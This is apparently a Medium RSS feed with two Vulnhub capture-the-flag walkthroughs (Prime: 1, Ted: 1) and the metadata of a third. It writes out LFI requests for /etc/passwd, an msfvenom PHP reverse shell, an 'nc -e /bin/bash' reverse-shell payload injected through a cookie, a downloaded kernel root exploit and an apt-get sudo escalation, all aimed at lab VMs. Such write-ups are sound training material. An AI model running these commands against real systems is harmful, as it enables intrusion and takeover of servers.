<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nick Williams on Medium]]></title>
        <description><![CDATA[Stories by Nick Williams on Medium]]></description>
        <link>https://medium.com/@nickwilliams_?source=rss-a1a941d3e24b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*AFNytK4j6SM9Q7LuKzesYA.jpeg</url>
            <title>Stories by Nick Williams on Medium</title>
            <link>https://medium.com/@nickwilliams_?source=rss-a1a941d3e24b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 10:49:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nickwilliams_/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Vulnhub Write-Up — Prime: 1]]></title>
            <link>https://medium.com/@nickwilliams_/vulnhub-write-up-prime-1-d275484b0cd5?source=rss-a1a941d3e24b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d275484b0cd5</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Nick Williams]]></dc:creator>
            <pubDate>Thu, 19 Sep 2019 04:11:57 GMT</pubDate>
            <atom:updated>2019-09-21T06:22:56.674Z</atom:updated>
            <content:encoded><![CDATA[<h4>walkthrough# 4</h4><h3>Vulnhub Write-Up: — Prime: 1</h3><h4>Another boot2root challenge from vulnhub.com</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VYspb8pR9YU17_BgPfzOxA.png" /><figcaption>Prime_Series_Level-1</figcaption></figure><p>Welcome back. This week we’ll attempting to crack a new boot2root challenge which you can find over at <a href="https://www.vulnhub.com/entry/prime-1,358/">https://www.vulnhub.com/entry/prime-1,358/</a>. This challenge is geared towards folks preparing for OSCP or an OSCP-Exam. This is the first level in the series and help is given at each stage of the challenge. I’ve listed the Virtual Machine information and details below.</p><h4>Prime_Series_Level-1.rar</h4><p>(Size: 2.2 GB)</p><ul><li><strong>Download</strong>: <a href="https://drive.google.com/open?id=1_BRKzL1rxJQ9xn8z6nKsyU-FP668VeA5">https://drive.google.com/open?id=1_BRKzL1rxJQ9xn8z6nKsyU-FP668VeA5</a></li><li><strong>Download (Mirror)</strong>: <a href="https://download.vulnhub.com/prime/Prime_Series_Level-1.rar">https://download.vulnhub.com/prime/Prime_Series_Level-1.rar</a></li><li><strong>Download (Torrent)</strong>: <a href="https://download.vulnhub.com/prime/Prime_Series_Level-1.rar.torrent">https://download.vulnhub.com/prime/Prime_Series_Level-1.rar.torrent</a> ( Magnet)</li><li><strong>Filename</strong>: Prime_Series_Level-1.rar</li><li><strong>File size</strong>: 2.2 GB</li><li><strong>MD5</strong>: 8E34566F7C05EFB4092DE9BED7DC364A</li><li><strong>SHA1</strong>: 3775288C5C02863A29B3F8F1AE42E01E7C080CA8</li><li><strong>Format</strong>: Virtual Machine (Virtualbox — OVA)</li><li><strong>Operating System</strong>: Linux<strong>Format</strong>: Virtual Machine (Virtualbox — OVA)</li><li><strong>Operating System</strong>: Linux</li></ul><p>Lets begin.</p><h3>Phase 1: Reconnaissance</h3><p>Our first task is to find the IP address of our target server which should be located on the same network as our Kali VM. All we need to do is run the <strong>netdiscover </strong>command on our current network range to see if any machines will respond to the ARP request produced by the tool.</p><pre>root@kali:~/Pentests/Prime_1# <strong>netdiscover -r 10.0.2.0/24</strong></pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*nXkVpIS0wvde6l2PJO0OKw.png" /><figcaption>Target IP: 10.0.2.48</figcaption></figure><h3>Phase 2: Scanning</h3><p>Next, I’ll run an initial <strong>nmap </strong>scan to see which ports are open and what services are running on those ports. You might also notice me using the following syntax when writing these commands: <strong>s -c ‘&lt;command&gt;’ &lt;scriptname&gt;</strong>. This is a way for me to store all of the scans I’m doing on the target incase I need any of the information from the scan later in the challenge. I’ve done this by adding an <strong>alias </strong>for the <strong>script </strong>command inside of my <strong>~/.bashrc</strong> file. The line in my ~/.bashrc file looks like this:</p><pre><strong>alias s=’script -a’</strong></pre><p>root@kali:~/Pentests/Prime_1# <strong>s -c “nmap -A -v -p- 10.0.2.48” nmap1.pwn</strong></p><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*N2kUiMt8YZCPEN1VQEnhPg.png" /><figcaption>We’ve saved our scan to a file called nmap1.pwn</figcaption></figure><p>Now in our current directory, we’ll have a copy of this scan to refer back to later. Ports 80(HTTP) and 22(SSH) are both open. The next thing I did was use <strong>nikto </strong>to scan the web server on port 80 for any security vulnerabilities.</p><pre>root@kali:~/Pentests/Prime_1# <strong>s -c “nikto -h </strong><a href="http://10.0.2.48/"><strong>http://10.0.2.48:80</strong></a><strong>&quot; nikto80.pwn</strong></pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*o8qjd2oKzzsbXNR_Qey6gw.png" /><figcaption>Not a whole lot here.</figcaption></figure><p>Next, I used <strong>dirb </strong>to do an initial enumeration of the webpage sitting at <a href="http://10.0.2.48/">http://10.0.2.48.</a></p><pre>root@kali:~/Pentests/Prime_1# <strong>s -c ‘dirb </strong><a href="http://10.0.2.48&/#39;"><strong>http://10.0.2.48&#39;</strong></a><strong> dirb80.pwn</strong></pre><p>Results: (grep(ed) the dirb80.pwn file for 200 server responses)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*HV1tWEFjrI9BFlfNIfIPyg.png" /><figcaption>It appears dirb has found a wordpress installation</figcaption></figure><p>Before we check out the site in the browser. Lets curl that dev page to see what it is.</p><pre>root@kali:~/Pentests/Prime_1# <strong>curl </strong><a href="http://10.0.2.48/dev"><strong>http://10.0.2.48/dev</strong></a></pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*cQjXlvcnHxrx-6XWrr67VQ.png" /><figcaption>We are now at level 0</figcaption></figure><p>Let’s move on to the browser to see what we can find.</p><pre>(firefox-browser)http://10.0.2.48/index.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uHCaCGtoGURIDylBN7fkAQ.png" /><figcaption>Landing Page for our Target</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*HqHuihv9UIohYmYHgy4Tfg.png" /><figcaption>Verifying our previous curl results</figcaption></figure><p>Next, I went back to the command line to do some more careful digging as the hint above suggest.</p><pre>root@kali:~/Pentests/Prime_1# <strong>dirb </strong><a href="http://10.0.2.48/"><strong>http://10.0.2.48</strong></a><strong> -X .php,.txt</strong></pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*4LPei4NTUUy9Ss7c_POMTw.png" /><figcaption>secret.php seems like a good place to start!</figcaption></figure><pre>(firefox-browser)http://10.0.2.48/secret.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*SKDubsCmvOfn_J7fY7M1fw.png" /><figcaption>A hint to use wfuzz</figcaption></figure><p>When we following the github link suggested by the author of the challenge, we get the following results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2sSnvo8PzphjFfFRJ78gSg.png" /><figcaption>Notice the file parameter in the above mentioned wfuzz explanation</figcaption></figure><p>We should be able to manipulate the file parameter through the browser if the web server is vulnerable to LFI.</p><pre>(firefox-browser)http://10.0.2.48/index.php?file=location.php</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhWQH58ysSRkmzerVPKKEQ.png" /><figcaption>Excellent! It appears this server is indeed vulnerable to LFI</figcaption></figure><p>It seems to be indicating that we should be using the parameter <strong>secrettier360 </strong>against another php page to get even more results. If we look at the 2nd enumeration we did we <strong>dirb</strong>, we see that we also uncovered an <strong>image.php</strong> file located on the server. Lets see if this what the author was suggesting as the ‘other php page’.</p><p>The site at <a href="http://10.0.2.48/image.php">http://10.0.2.48/image.php</a> simply contains the background image that is located on the home page. Lets try to use the previous method with the secrettier360 parameter and see if we can get the server to talk to us.</p><pre><a href="http://10.0.2.48/image.php?secrettier360=/etc/passwd">http://10.0.2.48/image.php?secrettier360=<strong>/etc/passwd</strong></a></pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7-XfnMnnheUhmJFv3NW1Q.png" /><figcaption>Bingo.</figcaption></figure><p>Take a closer look at the results and you’ll find another clue left by the author of the challenge. If you look at the home directory listing for the user <strong>saket, </strong>you’ll find a message that reads: find <strong>password.txt</strong> file in my home directory. Lets see if we can read this from the web-server, as this may be the wordpress users password that we need.</p><pre><a href="http://10.0.2.48/image.php?secrettier360=/home/saket/password.txt">http://10.0.2.48/image.php?secrettier360=<strong>/home/saket/password.txt</strong></a></pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIHyVzmJvD0WmOavR0YuKg.png" /><figcaption>contents of password.txt:<strong> follow_the_ippsec</strong></figcaption></figure><p>So let’s do a quick check in. So far we’ve established that there is a wordpress installation on this server. We’ve established that the server was vulnerable to LFI by first displaying the contents of /etc/passwd in the browser, then we displayed the contents of /home/saket/password.txt. Now we need to run wpscan against the server to see if we can extract a username because we can’t be sure that the server user saket, is also a registered WordPress user. We’ll also be checking for any -(vt) vulnerable themes, and -(vp) vulnerable plugins associated with this WordPress installation.</p><pre>root@kali:~/Pentests/Prime_1# wpscan --url <a href="http://10.0.2.48/wordpress/">http://10.0.2.48/wordpress/</a> --enumerate vt,vp,u</pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*iQd6XOJFWV5Tz29bMzE8kw.png" /><figcaption>Vulnerabilities identified in wpscan</figcaption></figure><p>WordPress Users found in scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUecNX5bAT_JeyuvJj5vjg.png" /><figcaption>We have discover a wp user <strong>victor</strong></figcaption></figure><p>With a WordPress username and a suspected user password, we’re ready to move into the next phase.</p><h3>Phase 3: Gaining Access</h3><p>To recap, we’ve uncovered the following credentials to log into the wordpress web-application.</p><p><strong>victor:follow_the_ippsec</strong></p><pre>(firefox-browser)http://10.0.2.48/wordpress/wp-login.php/</pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*ZK4MbYvsjHdjENSKJUE0YA.png" /><figcaption>wp-login.php</figcaption></figure><p>And just like that, we are now logged into the user victors WP dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XEdxpK5qPXu5Dl4bygCRVQ.png" /><figcaption>Success!!!!!!</figcaption></figure><p>Let’s quickly check the users tab to see what sort of permissions we have as the user <strong>victor.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1odbvxIq_nWN09P-8_Jyrw.png" /><figcaption>victor == admin</figcaption></figure><p>Next, let’s move over the the Theme Editor tab, located under the themes tab. Our goal here is to upload a reverse-shell via one of the pages that are being displayed by the server. Thanks to our admin access, we should be able to delete the contents of a current file and upload anything of our choosing.</p><pre>(firefox-Browser)<a href="http://10.0.2.48/wordpress/wp-admin/theme-editor.php">http://10.0.2.48/wordpress/wp-admin/theme-editor.php</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGid0M9AV1-bTeSj1us62w.png" /><figcaption>Look at the notification on the bottom of the screen!</figcaption></figure><p>Yikes. It appears that there are no write permissions available for the files being served by the server. Normally, you’d see a button which would allow for the uploading a file that you’re editing to the server, it appears we’ve hit a brick wall. . . Upon doing some more digging on the page listings located on the right hand side of the screen, I uncovered a <strong>secret.php</strong> file which seems to be a writeable file!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7wp6UqyrldITI9EVdxshxA.png" /><figcaption>Notice the Update File button</figcaption></figure><p>Now we’ll use msfvenom to create a reverse shell that we can upload to the server.</p><pre>root@kali:~/Pentests/Prime_1# <strong>msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.2.5 LPORT=4444 -o shelly.php</strong></pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZsOOOLb7HQe4gyiHUEU2Eg.png" /><figcaption>Reverse shell script saved as shelly.php</figcaption></figure><p>Contents of<strong> shelly.php</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VjwEbD9BI5Hb381CzuNCcQ.png" /></figure><p>Now let’s copy this and upload it into the writable secret.php file we found while digging earlier! Once it’s pasted in, go ahead an upload the reverse shell script to the wp server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbRhDIfTDmsqYhpk7kyOTg.png" /><figcaption>File has been edited successfully!</figcaption></figure><p>Next we need to set up our reverse tcp handler through metasploit. You can open metasploit quitely by issuing the following command: <strong>‘msfconsole -q’</strong></p><p><strong>Starting the reverse handler on your local machine:</strong></p><pre>msf5 &gt; use /exploit/multi/handler<br>msf5 &gt; set payload php/meterpreter_reverse_tcp<br>msf5 &gt; set LHOST=&lt;your kali-ip&gt;<br>msf5 &gt; set LPORT=4444<br>msf5 &gt; exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*A44m5czQiQWuc2rTRY9pyQ.png" /><figcaption>Our listener is active</figcaption></figure><p>All that we need to do now is navigate to <a href="http://10.0.2.48/wordpress/wp-content/themes/twentynineteen/secret.php"><strong>http://10.0.2.48/wordpress/wp-content/themes/twentynineteen/secret.php</strong></a><strong> </strong>and we should have our shell on the server. We’ll use curl from the command line.</p><pre>root@kali:~/Pentests/Prime_1# <strong>curl </strong><a href="http://10.0.2.48/wordpress/wp-content/themes/twentynineteen/secret.php"><strong>http://10.0.2.48/wordpress/wp-content/themes/twentynineteen/secret.php</strong></a></pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*2-DkShtmSphLNvdhzVGYmA.png" /><figcaption>We now have an active meterpreter session on the server</figcaption></figure><p>POPPED!</p><p>Moving on to phase 4…</p><h3>Phase 4: Privilege Escalation</h3><p>Lets use the <strong>sysinfo </strong>command provided by meterpreter to display the system information for the victim machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*vQU3dBHolHmiuLWw96pXyA.png" /><figcaption>Linux Ubuntu; <strong>Kernel 4.10.0–28</strong></figcaption></figure><p>Now lets spawn a shell see what we can do on this server.</p><pre>meterpreter &gt; <strong>shell</strong><br>Process 2263 created.<br>Channel 1 created.<br><strong>python -c ‘import pty; pty.spawn(“/bin/bash”)’<br></strong>www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$</pre><p>Lets see if we can grab the users flag that was required to complete the challenge. We navigate over to: <strong>/home/saket</strong></p><pre>www-data@ubuntu:/home/$ <strong>ls<br></strong>saket  victor<br>www-data@ubuntu:/home$ cd saket<br>www-data@ubuntu:/home/saket$ <strong>ls<br></strong>enc  password.txt  user.txt<br>www-data@ubuntu:/home/saket$ cat <strong>user.txt</strong><br>af3c658dcf9d7190da3153519c003456</pre><p>Our first flag is <strong>af3c658dcf9d7190da3153519c003456.</strong></p><p>We already figured out what the kernel version is for this system, now we query the almighty google god for any exploits it knows about.</p><pre>(google search): Linux 4.10.0–28-generic exploits</pre><p>Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*2AIHTjxF2VWVdDBDTkV0Ew.png" /><figcaption>Here we find an exploit for this specific kernel version!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*xQXRfjqqMGLNFFh_PBCatQ.png" /></figure><p>Now we navigate to /tmp/ on the victim machine and execute the following command to <strong>wget </strong>the exploit into the directory.</p><pre>www-data@ubuntu:/tmp$ <strong>wget </strong><a href="https://raw.githubusercontent.com/kkamagui/linux-kernel-exploits/master/kernel-4.10.0-28-generic/CVE-2017-16995/CVE-2017-16995.c"><strong>https://raw.githubusercontent.com/kkamagui/linux-kernel-exploits/master/kernel-4.10.0-28-generic/CVE-2017-16995/CVE-2017-16995.c</strong></a></pre><p>Now, we need to compile this c program exploit into an executable binary. Once it’s been compiled, go ahead and run the exploit.</p><pre>www-data@ubuntu:/tmp$ <strong>gcc CVE-2017–16995.c -o CVE-2017–16995<br></strong>www-data@ubuntu:/tmp$ <strong>./CVE-2017-16995</strong><br>./CVE-2017-16995<br>[.] <br>[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)<br>[.] <br>[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **<br>[.] <br>[*] creating bpf map<br>[*] sneaking evil bpf past the verifier<br>[*] creating socketpair()<br>[*] attaching bpf backdoor to socket<br>[*] skbuff =&gt; ffff8a053c8cff00<br>[*] Leaking sock struct from ffff8a05394cd000<br>[*] Sock-&gt;sk_rcvtimeo at offset 592<br>[*] Cred structure at ffff8a0536676a80<br>[*] UID from cred structure: 33, matches the current: 33<br>[*] hammering cred structure at ffff8a0536676a80<br>[*] credentials patched, launching shell...<br># id<br>id<br>uid=0(root) gid=0(root) groups=0(root),33(www-data)</pre><p>And once again, we have successfully gained root access to our target server. If you were following along at home, congratulations! We are now in control of this server and can execute any code we like. We are only concerned with the file flag which should be located inside of the /root/ directory. The flag file is called <strong>root.txt.</strong></p><pre># <strong>cd /root</strong><br># ls<br>enc enc.cpp enc.txt key.txt root.txt sql.py t.sh wfuzz wordpress.sql<br># <strong>cat root.txt</strong><br><strong>b2b17036da1de94cfb024540a8e7075a</strong><br>#</pre><p>Proof of Completion: <br><strong>[Prime: 1]</strong></p><p>User Flag(user.txt): <strong>af3c658dcf9d7190da3153519c003456<br></strong>Root Flag(root.txt): <strong>b2b17036da1de94cfb024540a8e7075a</strong></p><p>Until next time!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/189/1*8yd4WnAedrn1NgHWfytkaQ.png" /><figcaption>!!!!!!!!!!!!!!!!!!!!!!!!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d275484b0cd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Write-ups: ‘Ted: 1’]]></title>
            <link>https://medium.com/@nickwilliams_/vulnhub-write-ups-ted-1-8405bff15c3e?source=rss-a1a941d3e24b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8405bff15c3e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tech-writing]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Nick Williams]]></dc:creator>
            <pubDate>Fri, 06 Sep 2019 01:58:00 GMT</pubDate>
            <atom:updated>2019-09-19T05:30:19.810Z</atom:updated>
            <content:encoded><![CDATA[<h4>Walkthrough #3</h4><h3>Vulnhub Write-up: — Ted: 1</h3><p>September 5th, 2019</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eh-A3XpxmvP-VRJdbR4ZJg.jpeg" /><figcaption>How well do you understand PHP programs?</figcaption></figure><p>Follow Along Links:</p><p><strong>VM Download</strong>:<br><a href="https://www.vulnhub.com/entry/ted-1,327/">https://www.vulnhub.com/entry/ted-1,327/</a></p><p><strong>Direct Link Downloads</strong>:</p><ul><li><strong>Download</strong>: <a href="https://drive.google.com/open?id=1iJ0wqAh4_AsybvFsYhfhCVOhP4Zk30xt">https://drive.google.com/open?id=1iJ0wqAh4_AsybvFsYhfhCVOhP4Zk30xt</a></li><li><strong>Download (Mirror)</strong>: <a href="https://download.vulnhub.com/ted/Ted.7z">https://download.vulnhub.com/ted/Ted.7z</a></li><li><strong>Download (Torrent)</strong>: <a href="https://download.vulnhub.com/ted/Ted.7z.torrent">https://download.vulnhub.com/ted/Ted.7z.torrent</a> ( Magnet)</li></ul><p><strong>Challenge:</strong></p><p>How well do you understand PHP programs? How familiar are you with Linux misconfigurations? This image will cover advanced Web attacks, out of the box thinking and the latest security vulnerabilities.</p><p>Please note that this is capture the flag machine which means it is not real life scenario but will challenge you hard before you can obtain root privileges.</p><h3><strong>Phase 1: Reconnaissance</strong></h3><p><strong>Command Used</strong>: netdiscover -r 10.0.2.0/24</p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*Etw7SpLrIyPOOjEgV89brQ.png" /><figcaption>Target ip @ 10.0.2.27</figcaption></figure><h4><strong>Phase:1 Summary</strong>:</h4><p>Target Ip discovered @<strong>10.0.2.27</strong></p><h3><strong>Phase 2: Scanning</strong></h3><p><strong>Command Used: </strong>nmap -A -p- -v 10.0.2.27</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*fHF48MqdUJJUwzQ1m7quGA.png" /><figcaption>Port 80 is open. Looks like a login page was uncovered in the scan.</figcaption></figure><p>Next we run a nikto scan against port 80.</p><p><strong>Command Used: </strong>nikto -h <a href="http://10.0.2.27/">http://10.0.2.27:80</a></p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39-3IisMrGYqar5Llfg4AQ.png" /><figcaption>Results from nikto scan on port 80</figcaption></figure><p>We aren’t able to find much more than this through our scans, we’ll head over to the browser to see what’s there on http port 80.</p><p><strong>Url: </strong><a href="http://10.0.2.7/">http://10.0.2.7/</a></p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*C_NBty07bemb2Nj_4CVPxw.png" /><figcaption>This is the login page we discovered through our initial nmap scan</figcaption></figure><p>Lets run a thorough dirbuster scan on the website to see if there are any files lurking around that we should be aware of…</p><p><strong>Dirbuster configurations:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*8fTIa9uJIJ4GrRydJVvIFw.png" /><figcaption>pre-scan dirbuster config</figcaption></figure><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*JwJrdK41dUW2K55VekHvQA.png" /><figcaption>The redirects make me think that the login auth is necessary to view the content</figcaption></figure><p>Let’s open up <strong>burpsuite</strong> to see how the authentication is being handled. I’ve opened burp and entered the user name and password as admin:admin for the <a href="http://10.0.2.7/">http://10.0.2.7</a> login page. I’ve gone ahead and sent the request to the repeater to see what we can uncover.</p><p><strong>Burpsuite Repeater:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkQnUpNS5QwrOsdr5aToig.png" /><figcaption>Hmm… time to hash out this password.</figcaption></figure><p>This response seems to indicate that the username admin is correct, and that we need to make sure to hash the password before we send it. I’ll use <a href="https://gchq.github.io/CyberChef/">cyber-chef</a> to quickly MD5 encode our <strong>admin </strong>password.</p><p><strong>Result(MD5):</strong></p><p>admin == 21232f297a57a5a743894a0e4a801fc3</p><p><strong>Burpsuite response:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hplJOSwqnGHhTdhaBK10ag.png" /><figcaption>Nothing</figcaption></figure><p>Next, we’ll try to encode it in SHA-256</p><p><strong>Result(SHA-256):</strong></p><p>admin == 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918</p><p>I received no error from burpsuite indicating that I had found the correct hashing algorithm. We’ll use this to log into the admin account.</p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*sLwAKuhwKBzk3WtpxzhX3w.png" /><figcaption>admin:8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oBDIpkit309C8n0m7tRLHg.png" /><figcaption>Success. We are now at http://10.0.2.27/home.php</figcaption></figure><h3><strong>Phase 3: </strong>Gaining Access</h3><p>It seems that we’re inside of some sore of File Browsing application. The first logical check i did was to see if I could read the contents of /etc/passwd from the web server.</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*c0B-3Z7IdNC5hMXLsw9-hQ.png" /><figcaption>Nice! Were able to view the contents of the passwd file on the remote server</figcaption></figure><p>I tried many different attempts at uploading a reverse shell through file inclusion and was unsuccessful in my attempts. Next, I navigated to the cookies.php page that we uncovered earlier from the dirbuster scan.</p><p><strong>Url: </strong><a href="http://10.0.2.27/cookies.php">http://10.0.2.27/cookie.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*wHrmG_dzxuRbNJhaDdiThw.png" /><figcaption>I started to realize there was a reason we are given access to this page</figcaption></figure><p>Lets head back to the search bar for a moment.</p><p>Upon doing some more digging, I uncovered the fact that all the session cookies and their values are stored in the session file of the user. I simply grabbed the phpsession cookie id from the request and used in my search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*GzvHxwSsYhRuJdfo7p5hZQ.png" /><figcaption>user_pref is vulnerable to cookie poisoning</figcaption></figure><p>Let’s do a test to make sure that the user_pref cookie is indeed vulnerable. We’ll encode our php, then enter it into a burpsuite request.</p><p><strong>Pre-Url-Encoding</strong>: &lt;?php system(“uname -a”)&gt;<br><strong>Post-Url-Encoding:</strong>%3C?php%20system(%22uname%20-a%22)?%3E</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eE06JRYHa2Pud5RIejgBHg.png" /><figcaption>These results show that the server is ok executing our commands remotely!</figcaption></figure><p>This is excellent! Lets go ahead and encode a reverse shell using nc and see if we can get a shell on this box!</p><p><strong>Pre-url-encoded: </strong>&lt;?php system(“nc -e /bin/bash 10.0.2.5 4444”) ?&gt;<br><strong>Post-url-encoded: </strong>%3C?php%20system(%22nc%20-e%20/bin/bash%2010.0.2.5%204444%22)%C2%A0?%3E</p><p>Next, we set up our netcat listener on port 4444. Once that’s done all we need to do is send the request through the repeater!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*DQLIvRQnSzdc2ZVnTPHCsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*VS2WX32tzosmm8eiXBoocQ.png" /></figure><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*bKbFpHl0izJe5J1FVfXCNg.png" /><figcaption>Pop. We have a shell on the box</figcaption></figure><h3>Phase 4: <strong>Privilege Escalation</strong></h3><p>Lets spawn a python tty command shell to feel a bit more at home…</p><p><strong>Command Used</strong>: python -c ‘import pty; pty.spawn(“/bin/bash”)’</p><p>Now, let’s check what stuff has the SUID bit turned on…</p><p><strong>Command Used:</strong> find / -perm -4000 2&gt;/dev/null</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*in2lVK_RYDQtwU_OuPVV6w.png" /></figure><p>Next, I checked to see what commands this user is able to run using sudo without a password.</p><p><strong>Command used: </strong>sudo -l</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*SV1omXVbD3B9NGn_ZvikbA.png" /><figcaption>www-data can use sudo apt-get!</figcaption></figure><p><strong>Yikes!</strong> This user most likely has access to use apt-get in order to be able to apt-get update the server. I’ll show you why this is an serious vulnerability risk.</p><p><strong>Command Used: </strong>sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*I5Azc8NiL5OsSw2vi4FZSA.png" /><figcaption>And your pwned…</figcaption></figure><p>And just like that, your server, is now my server. If you’d like some more information on how to use apt-get for privilege escalation as demonstrated above, check out <a href="https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/">https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*CxQeBoHqkPrCXME_aaQ4yQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8405bff15c3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Write-Up — Mr. Robot: 1]]></title>
            <link>https://medium.com/@nickwilliams_/vulnhub-write-up-mr-robot-1-a1965253706c?source=rss-a1a941d3e24b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1965253706c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[technical-analysis]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Nick Williams]]></dc:creator>
            <pubDate>Sat, 31 Aug 2019 23:42:29 GMT</pubDate>
            <atom:updated>2020-06-18T00:12:06.577Z</atom:updated>
